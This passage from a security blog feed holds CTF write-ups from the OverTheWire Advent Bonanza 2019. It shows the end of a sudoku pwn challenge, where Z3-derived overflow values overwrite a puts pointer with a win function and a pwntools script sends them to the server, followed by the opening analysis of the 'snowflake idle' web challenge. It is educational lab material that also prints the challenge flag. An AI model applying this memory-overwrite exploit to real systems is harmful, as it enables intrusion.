&lt;pre class="literal-block"&gt;
ADDR_WIN = 0x08048799
ADDR_PUTS = 0x0804A010
ADDR_SCORER = 0x0804A1C0
OFFSET_PUTS = (ADDR_PUTS - ADDR_SCORER) // 4
&lt;/pre&gt;
&lt;p&gt;Now we use Z3 to model a solution to the sudoku:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;cells&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;BitVec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;c_&lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Solver&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cells&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Product&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cells&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;362880&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cells&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;OFFSET_PUTS&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cells&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;ADDR_WIN&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cells&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cells&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cells&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;row&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;as_long&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;cells&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;2**32&lt;/span&gt;&lt;/tt&gt; is added to the offset because it is negative.&lt;/li&gt;
&lt;li&gt;The sum of all cells must be 45, which is checked in the
&lt;tt class="docutils literal"&gt;checkrow()&lt;/tt&gt; function.&lt;/li&gt;
&lt;li&gt;The product of all cells must be 362880, which is checked in the
&lt;tt class="docutils literal"&gt;checkrow()&lt;/tt&gt; function as well.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The output is, for example:
&lt;tt class="docutils literal"&gt;[4294967188, 134514585, 1, 2, 3, 3911297825, 108947494, 113742248, 26465291]&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;Now we take an existing sudoku and replace the numbers with the numbers
from the model. I. e. 3 in the first column is replaced with 1 because 1
is on the 3rd number in the output list. 6 is replaced with 3911297825
because it is the 6th number in the list, etc. This way the overflow
holds for the rows, columns and the 3x3 matrices as well.&lt;/p&gt;
&lt;p&gt;The final exploit sudoku is then sent line-wise to the server. The flag
is retrieved and printed.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="n"&gt;solution_idx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sendline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;solution_idx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;ascii&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recvall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;AOTW&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This prints the flag: &lt;tt class="docutils literal"&gt;AOTW{Th3t_is_such_aN_1mpr3ssive_Sud0ku}&lt;/tt&gt;&lt;/p&gt;
&lt;/div&gt;
</content><category term="Security"></category><category term="CTF"></category><category term="Python"></category><category term="Security"></category></entry><entry><title>OverTheWire Advent Bonanza 2019: day-17 snowflake idle</title><link href="https://www.notinventedhere.org/articles/security/overthewire-advent-bonanza-2019-day-17-snowflake-idle.html" rel="alternate"></link><published>2020-01-15T00:00:00+01:00</published><updated>2020-01-15T00:00:00+01:00</updated><author><name>Lukas Anzinger</name></author><id>tag:www.notinventedhere.org,2020-01-15:/articles/security/overthewire-advent-bonanza-2019-day-17-snowflake-idle.html</id><summary type="html">&lt;p&gt;I took part in the OverTheWire Advent Bonanza 2019. All in all, the CTF
was very pleasant because the challenges were interesting to solve, there was
quite some time available as well (I spent about two weeks on and off on it)
and I also managed to solve a few …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I took part in the OverTheWire Advent Bonanza 2019. All in all, the CTF
was very pleasant because the challenges were interesting to solve, there was
quite some time available as well (I spent about two weeks on and off on it)
and I also managed to solve a few challenges as well.&lt;/p&gt;
&lt;p&gt;The following write-up is about the challenge from day 17: snowflake idle.&lt;/p&gt;
&lt;div class="section" id="description"&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
It's not just leprechauns that hide their gold at the end of the
rainbow, elves hide their candy there too.&lt;/blockquote&gt;
&lt;p&gt;No source code is given, just a link to a website:
&lt;a class="reference external" href="http://3.93.128.89:1217"&gt;http://3.93.128.89:1217&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The challenge is tagged as &lt;em&gt;crypto&lt;/em&gt;/&lt;em&gt;web&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The website shows a simple &amp;quot;game&amp;quot; where the user can collect snowflakes.
Every x seconds, the user gets a new snowflake. Snowflakes can be traded
for a higher collection speed. If the user decides to trade their
snowflakes, the snowflakes are deducted from the balance but in the same
x seconds the user can collect more snowflakes now. If the user collects
10^63 snowflakes, they could trade it for a flag.&lt;/p&gt;
&lt;p&gt;The website uses JavaScript on the front-end and communicates with the
server via a JSON API. The server is implemented in Flask.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="analysis"&gt;
&lt;h2&gt;Analysis&lt;/h2&gt;
&lt;p&gt;Of course, it is not feasible to collect that many snowflakes without
cheating so we have to find a vulnerability.&lt;/p&gt;
&lt;div class="section" id="unsuccessful-attempts"&gt;
&lt;h3&gt;Unsuccessful attempts&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Manipulating the session ID&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The server generates an ID upon starting the game, e. g.
&lt;tt class="docutils literal"&gt;/B5JdjWnoW4oUb7FMPGELnQo7WuQyVJ3Wr7N931EZtg=&lt;/tt&gt;. That ID is used as a
session identifier. Collecting 1000 samples of fresh IDs and running
&lt;tt class="docutils literal"&gt;ent&lt;/tt&gt; on it shows that it cannot be ruled out that the ID is randomly
generated:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Entropy = 7.994904 bits per byte.

Optimum compression would reduce the size
of this 32000 byte file by 0 percent.

Chi square distribution for 32000 samples is 224.32, and randomly
would exceed this value 91.73 percent of the times.

Arithmetic mean value of data bytes is 127.7340 (127.5 = random).
Monte Carlo value for Pi is 3.157697356 (error 0.51 percent).
Serial correlation coefficient is -0.006148 (totally uncorrelated = 0.0).
&lt;/pre&gt;
&lt;p&gt;Analyzing and playing with the session ID turned out to be a dead-end.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Melting more snow flakes than available&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It is possible to melt more snow flakes than collected, however, this
was a dead-end as well. The snow flake count simply went negative, no
underflow happened.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Manipulating requests to the ``client`` endpoint&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Any given &lt;tt class="docutils literal"&gt;action&lt;/tt&gt; to the &lt;tt class="docutils literal"&gt;/client&lt;/tt&gt; endpoint is saved as-is in the
database and will be happily returned by the &lt;tt class="docutils literal"&gt;/history/client&lt;/tt&gt;
endpoint. Unfortunately, this is not an XSS challenge and this did not
really allowed us to do anything useful.&lt;/p&gt;
&lt;/div&gt;
